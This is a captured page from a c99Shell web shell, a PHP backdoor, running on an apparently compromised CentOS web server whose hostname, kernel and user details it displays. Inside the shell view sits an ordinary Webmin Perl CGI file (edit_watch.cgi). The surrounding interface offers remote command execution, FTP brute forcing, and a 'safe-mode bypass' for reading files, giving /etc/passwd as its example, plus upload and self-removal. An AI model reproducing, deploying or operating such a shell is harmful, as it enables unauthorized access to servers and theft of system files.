!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/mon/   drwxr-xr-x
Free 50.93 GB of 127.8 GB (39.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_watch.cgi (2.2 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# edit_watch.cgi
# Display a new or existing watch

require './mon-lib.pl';
&ReadParse();
$conf = &get_mon_config();
$watch = $conf->[$in{'idx'}];

&ui_print_header(undef, $text{'watch_title'}, "");

print "<form action=save_watch.cgi>\n";
print "<input type=hidden name=idx value='$in{'idx'}'>\n";
print "<table border width=100%>\n";
print "<tr $tb> <td><b>$text{'watch_header'}</b></td> </tr>\n";
print "<tr $cb> <td><table width=100%>\n";

print "<tr> <td><b>$text{'watch_group'}</b></td>\n";
print "<td><select name=group>\n";
foreach $s (&find("hostgroup", $conf)) {
    printf "<option %s>%s\n",
        $s eq $watch->{'values'}->[0] ? "selected" : "",
        $s->{'values'}->[0];
    $found++ if ($s eq $watch->{'values'}->[0]);
    }
print "<option selected>$watch->{'values'}->[0]\n" if (!$found);
print "</select></td> </tr>\n";

print "<tr> <td valign=top><b>$text{'watch_services'}</b></td>\n";
print "<td colspan=3> <table border width=100%>\n";
print "<tr $tb> <td><b>$text{'watch_service'}</b></td> ",
      "<td><b>$text{'watch_monitor'}</b></td> ",
      "<td><b>$text{'watch_interval'}</b></td> ",
      "<td><b>$text{'watch_periods'}</b></td> </tr>\n";
foreach $s (&find("service", $watch->{'members'})) {
    print "<tr $cb>\n";
    print "<td><a href='edit_service.cgi?idx=$in{'idx'}&",
          "sidx=$s->{'index'}'>$s->{'value'}</a></td>\n";
    local $mon = &find_value("monitor", $s->{'members'});
    print "<td>$mon</td>\n";
    local $int = &find_value("interval", $s->{'members'});
    print "<td>$int</td>\n";
    local @pers = &find("period", $s->{'members'});
    local $pers = join("&nbsp;,&nbsp;", map { $_->{'value'} } @pers);
    print "<td>$pers</td>\n";
    print "</tr>\n";
    }
print "</table>\n";
print "<a href='edit_service.cgi?idx=$in{'idx'}&new=1'>",
      "$text{'watches_sadd'}</a>\n";
print "</td> </tr>\n";

print "</table></td></tr></table>\n";

print "<table width=100%><tr>\n";
if ($in{'new'}) {
    print "<td><input type=submit value='$text{'create'}'></td>\n";
    }
else {
    print "<td><input type=submit value='$text{'save'}'></td>\n";
    print "<td align=right><input type=submit name=delete ",
          "value='$text{'delete'}'></td>\n";
    }
print "</tr></table></form>\n";

&ui_print_footer("list_watches.cgi", $text{'watches_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0128 ]--